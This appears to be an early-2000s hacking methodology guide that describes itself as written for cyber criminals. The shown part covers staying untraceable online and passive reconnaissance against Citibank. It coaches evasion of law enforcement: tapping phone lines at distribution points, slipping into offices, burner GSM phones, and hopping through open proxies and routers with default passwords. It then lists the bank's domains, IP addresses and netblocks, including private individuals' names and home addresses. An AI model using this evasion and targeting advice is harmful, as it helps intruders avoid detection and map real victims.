Breaking into computer networks from the Internet.

roelof@sensepost.com

2000/12/31 First run

2001/07/01 Updated a bit

2001/09/20 Added Trojans

Chapter 0: What is this document about anyway?

While I was writing this document a book "Hack Proofing Your Network" was released. I haven't been able to read it (dunno if its in print yet, and besides - everything takes a while to get to South Africa). I did however read the first chapter, as it is available to the public. In this chapter the author writes about different views on IT security - hackers, crackers, script kiddies and everything in between. I had some thoughts about this and decided that it was a good starting point for this document.

I want to simplify the issue - let us forget motives at the moment, and simply look at the different characters in this play. To do this we will look at a real world analogy. Let us assume the ultimate goal is breaking into a safe (the safe is a database, a password file, confidential records or whatever). The safe is located inside of a physical building (the computer that hosts the data). The building is located inside of a town (the computer is connected to a network). There is a path/highway leading to the town and the path connects the town to other towns and/or cities. (read Internet/Intranet). The town/city is protected by a tollgate or an inspection point (the network is protected by a firewall, screening router etc.) There might be certain residents (the police) in the town looking for suspicious activity, and reporting it to the town's mayor (the police being an IDS, reporting attacks to the sysadmin). Buildings have their own protection methods, locks chains, and access doors (on-host firewalling, TCP wrappers, usernames and passwords). The analogy can be extended to very detailed levels, but this is not the idea.

In this world there are the ones that specialize in building or safe cracking. They are not concerned with the tollgates, or the police. They are lock-picking experts - be that those of the house, or of the safe. They buy a similar safe, put it in their labs and spend months analyzing it. At the end of this period they write a report on this particular safe - they contact the manufacturer, and might even build a tool that can assist in the breaking of the safe. Maybe they don't even manage to crack into the safe - they might just provide ways to determine the type of metal the safe is made of - which might be interesting on its own. These people are the toolmakers, the Bugtraq 0-day report writers, the people that other hackers consider to be fellow hackers.

And the rest? The rest are considered to be tool users - a.k.a. script kiddies. They are portrayed as those rushing into towns, looting and throwing bricks through windows, bricks that were built by the toolmakers mentioned in the previous paragraph. They don't have any idea of the inner workings of these tools. They are portrayed as those that ring the doorbell and then runs away, just to do it a trillion times a day - those that steals liquor from the village restaurant to sell it in their own twisted village. A scary and dangerous crowd.

Is there nothing in between these groups of people? Imagine a person with a toolbox with over a thousand specialized tools in it. He knows how to use every one of these tools - what tool to use in what situation. He can make some changes to these tools - not major changes, but he can mold a tool for a specific occasion. He knows exactly where to start looking for a safe - in which town, in what building. He knows of ways to slip into the town totally undetected, with no real ID. He knows how to inspect the safe, use the correct tools, take the good stuff and be out of town before anyone detected it. He has a X-ray machine to look inside a building, yet he does not know the inner workings of the machine. He will use any means possible to get to the safe - even if it means paying bribes to the mayor and police to turn a blind eye. He has a network of friends that include tool builders, connections in "script kiddie" gangs and those that build the road to the town. He knows the fabric of the buildings, the roads, the safes and the servants inside the buildings. He is very agile and can hop from village to city to town. He has safe deposit boxes in every city and an ultra modern house at the coast. He knows ways of getting remote control surveillance

devices into the very insides of security complexes, and yet he does not know the intricacies of the device itself. He knows the environment, he knows the principals of this world and everything that lives inside the world. He is not focused on one device/safe/building/tollgate but understands all the issues surrounding the objects. Such a person is not a toolmaker, neither is he a script kiddie, yet he is regarded as a Script Kiddie by those who calls themselves "hackers", and as such he has no real reason for existence.

This document is written for the in-between group of people. Toolmakers will frown upon this document and yet it may provide you with some useful insight (even if it better the tools you manufacture). It attempts to provide a methodology for hacking. It attempt to answers to "how to" question, not the "why" or the "who". It completely sidesteps the moral issue of hacking; it also does not address the issue of hackers/crackers/black hats/gray hats/white hats. It assumes that you have been in this industry long enough to be beyond the point of worrying about it. It does not try to make any excuses for hacking - it does not try to pretend that hacking is a interesting past-time. The document is written for the serious cyber criminal. All of this sounds a bit hectic and harsh. The fact of the matter is that sysadmins, security consultants, and IT managers will find this document just as interesting as cyber criminals will. Looking at your network and IT infrastructure from a different viewpoint could give you a lot of insight into REAL security issues (this point has been made over and over and over and I really don't to spend my time explaining it again [full disclosure blah blah whadda whadda wat wat]).

A note to the authors of the book "Hack proofing your network" - I truly respect the work that you have done and are doing (even though I have not read your book - I see your work every now and again). This document will go on the Internet free of charge - this document does NOT try to be a cheap imitation of what you have done, it does not in any way try to be a substitute (I am a tool user, where as you are tool writers...remember? :))

Before we start, a few prerequisites for reading this document. Unless you want to feel a bit left in the cold you should have knowledge of the following:

1. Unix (the basics, scripting, AWK, PERL, etc.)
2. TCP/IP (routing, addressing, subnetting etc.)
3. The Internet (the services available on the 'net-e.g. DNS, FTP, HTTP, SSH, telnet etc.)
4. Experience in IT security (packetfiltering, firewalling, proxies etc.)

I have written this document over a rather long period of time. Sites and tools could be outdated by the time you read this. I wrote the document with no prior knowledge about the "targets". You will find that in many cases I make assumptions that are later found not to be true. Reading through the text will thus provide you with an un-edited view of the thought processes that I had.

Chances are very good that I am talking a load of bullshit at times - if you are a terminology expert, and I have used your pet word in the wrong context - I am really sorry - it won't ever happen again. Now please leave. In the case that I totally go off track on technical issues - please let me know. Also my English sucks, so if I loose track of the language please bear with me - I tried to write it in simple words. This is not an academic paper!!

Chapter 1: Setting the stage.

Before you can start to hack systems you need a platform to work from. This platform must be stable and not easily traceable. How does one become anonymous on the Internet? It's is not that easy. Let us look at the

different options (BTW if this chapter does not seem relevant you might want to skip it):

Permanent connection (leased line, cable, fiber)

The problem with these connections is that it needs to be installed by your local Telecom at a premise where you are physically located. Most ISPs wants you to sign a contract when you install a permanent line, and ask for identification papers. So, unless you can produce false identification papers, company papers etc., and have access to a building that cannot be directly tied to your name, this is not a good idea.

Dial-up

Many ISPs provides "free dial-up" accounts. The problem is that logs are kept either at the ISP, or at Telecom of calls that were made. At the ISP side this is normally done using RADIUS or TACACS. The RADIUS server will record the time that you dialed in, the connection speed, the reason for disconnecting, the time that you disconnected and the userID that you used. Armed with his information the Telecom can usually provide the source number of the call (YOUR number). For the Telecom to pinpoint the source of the call they need the destination number (the number you called), the time the call was placed and the duration of the call. In many cases, the Telecom need not be involved at all, as the ISP records the source number themselves via Caller Line Identification (CLI).

Let us assume that we find the DNS name "c1-pta-25.dial-up.net" in our logs and we want to trace the attacker. We also assume that the ISP does not support caller line identification, and the attacker was using a compromised account. We contact the ISP to find out what the destination number would be with a DNS name like that. The ISP provides the number - e.g. +27 12 664 5555. It's a hunting line - meaning that there is one number with many phone lines connected to it. We also tell the ISP the time and date the attack took place (from our logs files). Let us assume the attack took place 2000/8/2 at 17h17. The RADIUS server tells us what userID was used, as well as the time it was connected: (these are the typical logs)

```
6774138 2000-08-02 17:05:00.0 2000-08-02 17:25:00.0 demo1 icon.co.za
168.209.4.61 2 Async 196.34.158.25 52000 1248 00010 B6B 87369 617378 null 11
```

These logs tell us that user "demo1" was connected from 17h05 to 17h25 on the date the attack took place. It was dialing in at a speed of 52kbps, it send 87369 bytes, and received 617378 bytes. We now have the start time of the call, the destination number and the duration of the call (20 minutes). Telecom will supply us with source number as well as account details - e.g. physical location. As you can see, phoning from your house to an ISP (even using a compromised or free ID) is not making any sense.

Mobile (GSM) dial-up

Maybe using a GSM mobile phone will help? What can the GSM mobile service providers extract from their logs? What is logged? A lot it seems. GSM switches send raw logging information to systems that crunch the data into what is called Call Data Records (CDRs). More systems crush CDRs in SCDRs (Simple CDR). The SCDRs is sent to the various providers for billing. How does a CDR look like? Hereby an example of a broken down CDR:

```
990423000001230000040189270000000005216003
27834486997
9903220753571830
834544204
000001MOBILE000
00000010000000000000000000
```

```
AIRTIME1:24
20377
UON0000T11L
MTL420121414652470
```

This tells us that date and time the call was placed (1st string), the source number (+27 83 448 6997), the destination number (834544204), that it was made from a mobile phone, the duration of the call (1 minute 24 seconds), the cellID (20377), the three letter code for the service provider (MTL = Mtel in this case), and the unique mobile device number (IMEI number) 420121414652470. Another database can quickly identify the location (long/lat) of the cell. This database typically looks like this:

```
20377
25731
-26.043059
28.011393
120
32
103
"Didata Oval uCell","Sandton"
```

From this database we can see that the exact longitude and latitude of the cell (in this case in the middle of Sandton, Johannesburg) and the description of the cell. The call was thus placed from the Dimension Data Oval in Sandton. Other databases provide the account information for the specific source number. It is important to note that the IMEI number is also logged - using your phone to phone your mother, switching SIM cards, moving to a different location and hacking the NSA is not a good idea using the same device is not bright - the IMEI number stays the same, and links you to all other calls that you have made. Building a profile is very easy and you'll be nailed in no time.

Using time advances and additional tracking cells, it is theoretically possible to track you up to a resolution of 100 meters, but as the switches only keep these logs for 24 hours, it is usually done in real time with other tracking devices - and only in extreme situations. Bottom line - even if you use a GSM mobile phone as modem device, the GSM service providers knows a lot more about you than you might suspect.

How to

So how do we use dial in accounts? It seems that having a compromised dial in account does not help at all, but common sense goes a long way. Suppose you used a landline, and they track you down to someone that does not even owns a computer? Or to the PABX of a business? Or to a payphone? Keeping all of above in mind - hereby a list of notes: (all kinda common sense)

Landlines:

1. Tag your notebook computer, modem and croc-clips along to a DP (distribution point). These are found all around - it is not discussed in detail here as it differs from country to country. Choose a random line and phone.
2. In many cases one can walk into a large corporation with a notebook and a suit with no questions asked. Find any empty office, sit down, plug in and dial.
3. etc...use your imagination

GSM:

1. Remember that the device number (IMEI) is logged (and it can be blocked). Keep this in mind! The ultimate would be to use a single device only once. - never use the device in a location that is linked to you (e.g. a microcell inside your office)

2. Try to use either a very densely populated cell (shopping malls) or a location where there is only one tracking cell (like close to the highway) as it makes it very hard to do spot positioning. Moving around while you are online also makes it much harder to track you down.
3. Use prepaid cards! For obvious reasons you do not want the source number to point directly to you. Prepaid cards are readily available without any form of identification. (note: some prepaid cards does not have data facilities, so find out first)
4. GSM has data limitations - currently the maximum data rate is 9600bps.

Using the 'net

All of this seems like a lot of trouble. Is there not an easier way of becoming anonymous on the Internet? Indeed there are many ways to skin a cat. It really depends on what type of connectivity you need. Lets assume all you want to do is sending anonymous email (I look at email specifically because many of the techniques involved can be used for other services such as HTTP, FTP etc.). How difficult could it be?

For many individuals it seems that registering a fake Hotmail, Yahoo etc. account and popping a flame email to a unsuspected recipient is the way to go. Doing this could land you in a lot of trouble. Lets look at a header of email that originating from Yahoo:

```
Return-Path: <r_h@yahoo.com>
Received: from web111.yahoomail.com (web111.yahoomail.com [205.180.60.81])
by wips.sensepost.com (8.9.3/1.0.0) with SMTP id MAA04124
for <roelof@sensepost.com>; Sat, 15 Jul 2000 12:35:55 +0200 (SAST)
(envelope-from r_h@yahoo.com)
Received: (qmail 636 invoked by uid 60001); 15 Jul 2000 10:37:15 -0000
Message-ID: <20000715103715.635.qmail@web111.yahoomail.com>
Received: from [196.34.250.7] by web111.yahoomail.com; Sat,
15 Jul 2000 03:37:15 PDT
Date: Sat, 15 Jul 2000 03:37:15 -0700 (PDT)
From: RH <r_h@yahoo.com>
Subject: Hello
To: roelof@sensepost.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
```

The mail header tells us that our mailserver (wips.sensepost.com) received email via SMTP from the web-enabled mailserver (web111.yahoomail.com). It also tells us that the web-enabled mailserver received the mail via HTTP (the web) from the IP number 196.34.250.7. It is thus possible to trace the email to the originator. Given the fact that we have the time the webserver received the mail (over the web) and the source IP, we can use techniques explained earlier to find the person who was sending the email. Most free web enabled email services includes the client source IP (list of free email providers at www.fepg.net).

How to overcome this? There are some people that think that one should be allowed to surf the Internet totally anonymous. An example of these people is *Anonymizer.com* (www.anonymizer.com). *Anonymizer.com* allows you to enter a URL into a text box. It then proxy all connections to the specified destination. *Anonymizer* claims that they only keep hashes (one way encryption, cannot be reversed) of logs. According to documentation on the *Anonymizer* website there is no way that even they can determine your source IP. Surfing to Hotmail via *Anonymizer* thus change the IP address in the mail header.

But beware. Many ISPs make use of technology called transparent proxy servers. These servers is normally located between the ISP's clients and their main feed to the Internet. These servers pick up on HTTP requests, change the source IP to their own IP and does the reverse upon receiving the return packet. All of this is totally transparent to the end user - therefor

the name. And the servers keep logs. Typically the servers cannot keep logs forever, but the ISP could be backing up logs for analyses. Would I be tasked to find a person that sent mail via Hotmail and Anonymizer I would ask for the transparent proxy logs for the time the user was connected to the web-enabled mailserver, and search for connections to Anonymizer. With any luck it would be the only connections to the Anonymizer in that time frame. Although I won't be able to prove it, I would find the source IP involved.

Another way of tackling the problem is anonymous remailers. These mailservers will change your source IP, your <from> field and might relay the mail with a random delay. In many cases these remailers are daisy chained together in a random pattern. The problem with remailers is that many of them do keep logs of incoming connections. Choosing the initial remailer can be become an art. Remailers usually have to provide logfiles at the request of the local government. The country of origin of the remailer is thus very important as cyberlaw differs from country to country. A good summary of remailers (complete with listings of remailers can be found at www.cs.berkeley.edu/~raph/remailer-list.html).

Yet another way is to make use of servers that provide free Unix shell accounts. You can telnet directly to these servers (some provide SSH (encrypted shells) access as well). Most of the free shell providers also provide email facilities, but limit shell capabilities -e.g. you can't telnet from the free shell server to another server. In 99% of the cases connections are logged, and logs are kept in backup. A website that list most free shell providers are to be found at www.leftfoot.com/freeshells.html. Some freeshell servers provider more shell functionality than others - consult the list for detailed descriptions.

How do we combine all of the above to send email anonymously? Consider this - I SSH to a freeshell server. I therefor bypass the transparent proxies, and my communication to the server is encrypted and thus invisible to people that might be sniffing my network (locally or anywhere). I use lynx (a text based web browser) to connect to an *Anonymizer* service. From the *Anonymizer* I connect to a free email service. I might also consider a remailer located somewhere in Finland. 100% safe?

Even when using all of above measures I cannot be 100% sure that I cannot be traced. In most cases logs are kept of every move you make. Daisy chaining and hopping between sites and servers does make it hard to be traced, but not impossible.

Other techniques

1. The cybercafe is your friend! Although cybercafes are stepping up their security measures it is still relatively easy to walk into a cybercafe without any form of identification. Sit down, and surf to hotmail.com - no one would notice as everyone else is doing exactly the same thing. Compose your email and walk out. Do not become a regular! Never visit the scene of the crime again. When indulging in other activities such as telnetting to servers or doing a full blast hack cybercafes should be avoided as your activity can raise suspicion with the administrators.
2. Search for proxy like services. Here I am referring to things like *WinGate* servers. *WinGate* server runs on a Microsoft platform and is used as a proxy server for a small network (read SOHO environment with a dial-up link). In many cases these servers are not configured correctly and will allow anyone to proxy/relay via them. These servers do not keep any logs by default. Hoping via *WinGate* servers is so popular that lists of active *WinGates* are published (www.cyberarmy.com/lists/wingate/).
3. With some experience you can hop via open routers. Finding open routers are very easy - many routers on the Internet is configured with default passwords (list of default passwords to be found at

www.nerdnet.com/security/index.php)Doing a host scan with port 23 (later more on this) in a "router subnet" would quickly reveal valid candidates. In most of the cases these routers are not configured to log incoming connections, and provides excellent stepping-stones to freeshell servers. You might also consider daisy chaining them together for maximum protection.

4. Change the communication medium. Connect to a X.25 pad via a XXX service. Find the DTE of a dial-out X.25 PAD. Dial back to your local service provider. Your telephone call now originates from e.g. Sweden. Confused? See the section on X.25 hacking later in the document. The exact same principle can be applied using open routers (see point 3) Some open routers listens on high ports (typically 2001,3001,X001) and drops you directly into the AT command set of a dial-out modems. Get creative.

The best way to stay anonymous and untraceable on the Internet would be a creative mix of all of the above-mentioned techniques. There is no easy way to be 100% sure all of the time that you are not traceable. The nature of the "hack" should determine how many "stealth" techniques should be used. Doing a simple portscan to a university in Mexico should not dictate that you use 15 hops and 5 different mediums.

Chapter 2: Mapping your target

Once you have your platform in good working order, you will need to know as much as possible about your target. In this chapter we look at "passive" ways to find information about the target. The target might be a company, a organization or a government. Where do you start your attack? This first step is gaining as much as possible information about the target - without them knowing that you are focussing your sniper scope on them. All these methods involve tools, web sites and programs that are used by the normal law abiding netizen.

Websites, MX records…DNS!

For the purpose of this document, let us assume that we want to attack CitiBank. (no hard feelings CitiBank). We begin by looking at the very obvious - www.citibank.com. You would be amazed by the amount one can learn from an official webpage. From the website we learn that Citibank has presence in many countries. Checking that Citibank have offices in Belgium we check the address of www.citibank.be and the Malaysian office www.citibank.com.my. The IP addresses are different - which means that each country' Citibank website is hosted inside the specific country. The website lists all the countries that Citibank operate in. We take the HTML source code, and try to find the websites in each country. Having a look around leaves us with 8 distinct countries. Maybe XXX.citybank.XXX is registered in the other countries? Doing a simple "*host* www.citibank.XXX" (scripted with all country codes and with .com and .co sub extensions of course) reveals that following sites:

www.citibank.as
www.citibank.at
www.citibank.be
www.citibank.ca
www.citibank.cc
www.citibank.ch
www.citibank.cl
www.citibank.co.at
www.citibank.co.cc
www.citibank.co.cx
www.citibank.co.dk
www.citibank.co.id
www.citibank.co.in
www.citibank.co.io
www.citibank.co.jp
www.citibank.co.ke
www.citibank.co.kr
www.citibank.co.nz
www.citibank.co.pl
www.citibank.co.pt
www.citibank.co.th
www.citibank.co.tv
www.citibank.co.tw
www.citibank.co.uk
www.citibank.co.vi
www.citibank.co.ws
www.citibank.com
www.citibank.com.ar
www.citibank.com.au
www.citibank.com.bh
www.citibank.com.bi
www.citibank.com.br

```
www.citibank.com.bs
www.citibank.com.co
www.citibank.com.ec
www.citibank.com.gt
www.citibank.com.gu
www.citibank.com.hk
www.citibank.com.ky
www.citibank.com.mo
www.citibank.com.mx
www.citibank.com.my
www.citibank.com.ph
www.citibank.com.pk
www.citibank.com.pl
www.citibank.com.pr
www.citibank.com.py
www.citibank.com.sg
www.citibank.com.tj
www.citibank.com.tr
www.citibank.com.tw
www.citibank.com.ws
www.citibank.cx
www.citibank.cz
www.citibank.de
www.citibank.es
www.citibank.fr
www.citibank.gr
www.citibank.hu
www.citibank.ie
www.citibank.io
www.citibank.it
www.citibank.lu
www.citibank.mc
www.citibank.mw
www.citibank.nl
www.citibank.nu
www.citibank.pl
www.citibank.ro
www.citibank.ru
www.citibank.tv
www.citibank.ws
www.citicorp.com
```

So much for websites - it is clear that many of these domains are used by cybersquatters - www.citibank.nu for example. We'll filter those. Also, most of above mentioned sites are simply aliases for www.citibank.com. These days most websites are hosted offsite. Mail exchangers are most of the time more closely coupled with the real network. Looking at the MX records for the domains (*host -t mx citibank.XX*) gives one a better idea of the IP numbers involved. Trying to do a zone transfer would also help a lot (*host -l citibank.XXX)*. After some scripting it becomes clear which domains belongs to the real Citibank - all of these domain's MX records are pointing to the MX record for www.citibank.com, and their websites point to the official .com site. The theory that the MX records for the different branches are closer to the "satellite" network does not apply for Citibank it seems: (these are all MX records).

```
citibank.at is a nickname for www.citibank.com
citibank.ca is a nickname for www.citibank.com
citibank.ch is a nickname for www.citibank.com
citibank.cl is a nickname for www.citibank.com
citibank.co.at is a nickname for www.citibank.com
citibank.co.kr is a nickname for www.citibank.com
citibank.co.nz is a nickname for www.citibank.com
citibank.co.vi is a nickname for www.citibank.com
citibank.com.br is a nickname for www.citibank.com
citibank.com.bs is a nickname for www.citibank.com
citibank.com.ec is a nickname for www.citibank.com
citibank.com.gt is a nickname for www.citibank.com
citibank.com.gu is a nickname for www.citibank.com
citibank.com.ky is a nickname for www.citibank.com
citibank.com.mo is a nickname for www.citibank.com
citibank.com.my is a nickname for www.citibank.com
citibank.com.my is a nickname for www.citibank.com
citibank.com.pk is a nickname for www.citibank.com
citibank.com.pl is a nickname for www.citibank.com
citibank.com.pr is a nickname for www.citibank.com
citibank.com.py is a nickname for www.citibank.com
citibank.com.sg is a nickname for www.citibank.com
citibank.com.tr is a nickname for www.citibank.com
citibank.cz is a nickname for www.citibank.com
citibank.gr is a nickname for www.citibank.com
citibank.hu is a nickname for www.citibank.com
citibank.ie is a nickname for www.citibank.com
citibank.it is a nickname for www.citibank.com
citibank.lu is a nickname for www.citibank.com
citibank.mc is a nickname for www.citibank.com
citibank.mw is a nickname for www.citibank.com
citibank.nl is a nickname for www.citibank.com
citibank.pl is a nickname for www.citibank.com
citibank.ro is a nickname for www.citibank.com
```

What about the rest of the countries - are all of them cybersquatter related, or have our friends at Citibank slipped up somewhere? Let's remove above-mentioned countries from our list, and have a look those than remain. Close inspection of all the rest of the domains shows that cyber squatters (in all sizes and forms) have taken the following domains:

```
citibank.as
citibank.cc
citibank.co.cx
citibank.co.dk
citibank.co.ke
citibank.co.pl
citibank.co.pt
citibank.co.tv
citibank.co.ws
citibank.com.bh
citibank.com.bi
citibank.com.tj
citibank.com.ws
citibank.cx
citibank.io
citibank.nu
citibank.tv
```

How about the rest? We find the following hosts and services belonging to Citibank (most of this is done with scripting, manual labor, and cross checking):

```
www.citibank.be has address 195.75.113.39
citibank.be name server ns.citicorp.com
citibank.be name server ns2.citicorp.com
citibank.co.id mail is handled (pri=20) by egate.citicorp.com
citibank.co.in has address 203.197.24.163
www.citibank.co.jp has address 210.128.74.161
citibank.co.jp name server NS2.citidirect.citibank.co.jp
citibank.co.th mail is handled (pri=20) by egate.citibank.com
citibank.com.ar mail is handled (pri=20) by mailer2.prima.com.ar
www.citibank.com.au has address 203.35.150.146
citibank.com.au name server ns.citibank.com
citibank.com.au name server ns2.citibank.com
www.citibank.com.co has address 63.95.145.165
citibank.com.co name server CEDAR1.CITIBANK.COM
citibank.com.co name server CEDAR2.CITIBANK.COM
webp.citibank.com.sg has address 192.193.70.5
citibank.com.mx mail is handled (pri=10) by green.citibank.com.mx
citibank.com.ph mail is handled (pri=20) by egate.citicorp.com
citibank.com.tw name server dns.citibank.com.tw
dns.citibank.com.tw has address 203.66.185.3
www.citibank.com.tw has address 203.66.185.1
citibank.com.tw name server home1.citidirect.citibank.com.tw
citibank.ru has address 194.135.176.81
www.citibank.de has address 195.75.113.49
www.citibank.de has address 195.145.1.166
www.citibank.com has address 192.193.195.132
```

and the obvious official .com sites and MX records. But the real prize is German Citibank. In the checking scripts we also check if a DNS zone transfer was possible. In all of the domains tested a ZT was denied. All but Germany:

```
ehbtest.Citibank.DE has address 195.75.113.25
ehbweb.Citibank.DE has address 195.75.113.49
inter.Citibank.DE has address 193.96.156.103
localhost.Citibank.DE has address 127.0.0.1
www.Citibank.DE has address 195.145.1.166
www.Citibank.DE has address 195.75.113.49
ehbdns.Citibank.DE has address 195.145.1.166
public.Citibank.DE has address 193.96.156.104
```

From all of the above we can now begin to compile a list of IP numbers belonging to Citibank all over the world. We take the list, sort it, and remove any duplicates if there are any. The end result is:

```
148.242.127.200
192.193.195.132
192.193.195.194
192.193.195.195
192.193.195.210
192.193.196.210
192.193.70.5
192.193.77.166
193.96.156.103
193.96.156.104
194.135.176.81
195.145.1.166
195.75.113.10
195.75.113.11
195.75.113.25
195.75.113.39
195.75.113.49
200.42.0.133
203.197.24.163
203.35.150.146
203.66.185.1
203.66.185.20
203.66.185.3
210.128.74.161
63.95.145.165
```

Once we have these IP numbers we can go much further. We could see the netblocks these IP numbers belongs to - this might give us more IP numbers. Later these IP numbers could be fed to port scanners or the likes. Another technique is to do "reverse resolve scanning". Here one reverse resolves the subnet to see if there are other interesting DNS entries.

RIPE, ARIN, APNIC and friends

The WHOIS queries (via RIPE, ARIN,APNIC) show some interesting information. (By doing a query on "*citibank*", we find many more blocks that was not revealed in the host finding exercise!)

```
Citicorp Global Information
Network (NETBLK-CITICORP-C)
Netblock: 192.193.0.0 -
192.193.255.0
inetnum: 195.145.1.144 -
195.145.1.255
netname: DA-CITIBANK
descr: Citibank Privatkunden AG,
Germany
inetnum: 195.75.113.0 -
195.75.113.255
netname: DE-CITIBANK-NET
descr: Network of Citibank
Privatkunden AG
inetnum 203.197.24.160 -
203.197.24.191
netname CITIBANKMUMBAI
descr Leased - CITIBANK Mumbai
Other blocks discovered with
RIPE search:
inetnum: 193.32.128.0 -
193.32.159.255
netname: CITI-EMBA
descr: Citibank N.A.
inetnum: 194.41.64.0 -
194.41.95.255
netname: CITIBANK
descr: CITIBANK (SWITZERLAND)
inetnum: 194.50.218.0 -
194.50.218.255
netname: CITILAN
descr: CITIBANK PRAGUE
inetnum: 62.184.117.0 -
62.184.117.255
netname: GB-CITIBANKSAVINGS-NET
descr: Network of Citibank
Savings
inetnum: 195.183.49.128 -
195.183.49.143
netname: GB-CITIBANKSAVINGS-NET2
descr: Network of Citibank
Savings
inetnum: 194.69.69.160 -
194.69.69.167
netname: CITIBANK-ISP
descr: TRAX network
inetnum: 195.235.80.200 -
195.235.80.207
netname: CITIBANK
descr: VPN public addresses
inetnum: 194.108.183.32 -
194.108.183.47
netname: CITIBANK-CZ
descr: Citibank, a. s.
inetnum: 62.200.100.0 -
62.200.100.31
netname: DE-CITIBANK-NET4
descr: Network of Citibank
Privatk unden ag
```

```
inetnum: 213.25.206.44 -
213.25.206.47
netname: CITIBANK
descr: Citibank Poland
inetnum: 213.61.189.96 -
213.61.189.127
netname: DE-COLT-CITIBANK
descr: Citibank AG
inetnum: 62.157.214.240 -
62.157.214.247
netname: DTS-NET
descr: DTS für Citibank
Privatkunden
inetnum: 62.225.11.144 -
62.225.11.151
netname: CITIBANKAG-FRANKFURT-
NET
descr: Citibank AG

The following blocks were
discovered with ARIN search:

63.236.56.224 - 63.236.56.255
CITIBANK (NETBLK-QWEST-JSV-
ECITI-PVT)
261 Madison Avenue 3rd Floor
New York, ny 10016
USA
208.58.129.224 - 208.58.129.239
CITIBANK (NETBLK-EROLS-CUST-
5136)
666 5TH AVENUE 3RD FLOOR
NEWYORK, NY 10103
USA
199.228.157.0 - 199.228.159.0
CITIBANK
RUESSELSHEIM, DE
205.147.21.161 - 205.147.21.168
CitiBank (NETBLK-SLIMCAT)
12731 W. Jefferson
Los Angeles, CA 90066
USA
200.42.11.80 - 200.42.11.87
Citibank (NETBLK-PRIMA-BLK-177)
Prilidiano Pueyrredon 2989
Villa Adelina, Buenos Aires
B1607ABC
AR
196.28.49.0 - 196.28.49.31
Citibank (NETBLK-PRTC-196-28-49-
0)
Ave. Las Cumbres
Guaynabo, PR
US
208.44.107.32 - 208.44.107.63
Citibank (NETBLK-QWEST-208-44-
107-32)
6700 Citicorp Drive
Tampa, FL 33619
US
216.233.22.128 - 216.233.22.135
Citibank (NETBLK-RNCI-52044)
909 3rd Ave (15th floor)
New York, NY 10022-4731
USA
208.46.142.160 - 208.46.142.175
Citibank (NETBLK-QWEST-208-46-
142-160)
Vision Drive
Enfield, CT 06082
US
63.80.165.128 - 63.80.165.159
Citibank (NETBLK-UU-63-80-165-
128)
1 Vision Dr.
Enfield, CT 06082
US
192.209.110.0 - 192.209.110.255
Citibank - Washington DC (NET-
QUOTRON-LAN47)
1001 Pennsylvania Avenue
Washington, DC 20004
198.73.228.0 - 198.73.239.0
Citibank Canada - Various
Subnets
192.132.9.0 - 192.132.9.255
Citibank NA (NET-CITI-UK-EIS)
Lewisham House
15 Molesworth St.
London
SE13 7EX
United Kingdom
192.209.111.0 - 192.209.111.0
Citibank NA (NET-CITIBANKPARK)
399 Park Ave.
NYC, NY 10043
216.233.56.184 - 216.233.56.191
Citibank/Dan White (NETBLK-RNCI-
52043)
600 Columbus Ave
New York, NY 10024-1400
USA
216.233.123.104 -
216.233.123.111
Citibank/Frank Kovacs (NETBLK-
RNCI-DSLACI68828)
2 Vreeland Ct
East Brunswick, NJ 08816-3886
USA
216.233.97.64 - 216.233.97.71
Citibank/Orobona (NETBLK-RNCI-
DSLACI56122)
4 Eastern Pkwy
Farmingdale, NY 11735
US
216.233.56.176 - 216.233.56.183
Citibank/Sztabnik AND Residence
(NETBLK-RNCI-5516954206)
3547 Carrollton Ave
Wantagh, NY 11793-2929
USA
208.138.110.0 - 208.138.110.255
CITICORP (NETBLK-CW-208-138-110)
399 Park Ave. 6th Floor
New York, NY 10043
US
208.132.249.0 - 208.132.249.31
CITICORP VENTURE CAPITAL
(NETBLK-CW-208-132-249-0)
399 PARK AVENUE
NEW YORK, NY 10043
US
159.17.0.0 - 159.17.255.255
Citicorp (NET-CITICORP-COM)
55 Water St.
44 Floor, Zone 7
New York, NY 10043
192.209.120.0 - 192.209.120.255
Citicorp (NET-CITICORPNY)
153 E. 53rd St. 5th Fl.
NYC, NY 10022
169.160.0.0 - 169.195.0.0
Citicorp (NET-CITICORP-B-BLK)
1900 Campus Commons Drive
Reston, VA 22091
208.231.68.0 - 208.231.68.255
Citicorp (NETBLK-UU-208-231-68)
909 3rd Avenue
New York City, NY 10022
US
63.67.86.0 - 63.67.86.255
Citicorp (NETBLK-UU-63-67-86)
```

2 Penn's Way
New Castle, DE 19720
US
63.71.124.192 - 63.71.124.255
Citicorp (NETBLK-UU-63-71-124-192)
1 Vision Drive
Enfield, CT 06082
US
63.72.243.0 - 63.72.243.255
Citicorp (NETBLK-UU-63-72-243)
1751 Pinnacle Drive
McLean, VA 22102
US
192.246.55.0 - 192.246.55.255
Citicorp Crossmar (NET-CITINET)
4 Sylvan Way
Parsippany, NJ 07054
63.74.88.64 - 63.74.88.79
Citicorp (NETBLK-UU-63-74-88-64)
6700 Citicorp Drive
Tampa, FL 33617
US
192.148.191.0 - 192.148.191.255
Citicorp Global Distibutions Systems (NET-CITIGDS)
1400 Treat Blvd.
Walnut Creek, CA 94596
163.35.0.0 - 163.39.255.255
Citicorp Global Information Network (NETBLK-CITICORP-B)
1 Court Square, 40th Floor
Long Island City, NY 11120
161.75.0.0 - 161.75.255.255
Citicorp Japan (NET-CITICORP-JP)
Citicorp Center Tokyo
2-3-14 Higashi-Shinagawa
Shinagawa-ku, Tokyo 140
Japan
192.48.247.0 - 192.48.247.255
Citicorp North American Investment Bank (NET-CCNAIBFIR)
55 Water Street, 44th Floor
New York, NY 10043

The following was discovered with APNIC:
(note! APNIC does not allow you to scan for words!!)
inetnum 203.66.184.0-203.66.184.255
netname CT-NET
descr Citibank Taiwan
inetnum 203.66.185.0 - 203.66.185.255
netname CT-NET
63.95.145.165

The IP numbers that does not fall in above mentioned blocks seems to be on ISP-like netblocks (The Russian block is marked as Space Research though). ISP-blocks are blocks of a network that the customer lease, but that is not specifically assigned to Citibank (in terms of AS numbers or netblocks).

We see that there are different size blocks - some are just a few IPs and others a single class C and some several class Cs. Let us break the list of blocks down in two categories - Class C or sub class C on the one side, and Class C+ on the other. We are left with a table that looks like this:

Class C or sub Class C:
192.132.9.0-192.132.9.255
192.148.191.0-192.148.191.255
192.209.110.0-192.209.110.255
192.209.111.0-192.209.111.0
192.209.120.0-192.209.120.255
192.246.55.0-192.246.55.255
192.48.247.0-192.48.247.255
194.108.183.32-194.108.183.47
194.50.218.0-194.50.218.255
194.69.69.160-194.69.69.167
195.183.49.128-195.183.49.143
195.235.80.200-195.235.80.207
196.28.49.0-196.28.49.31
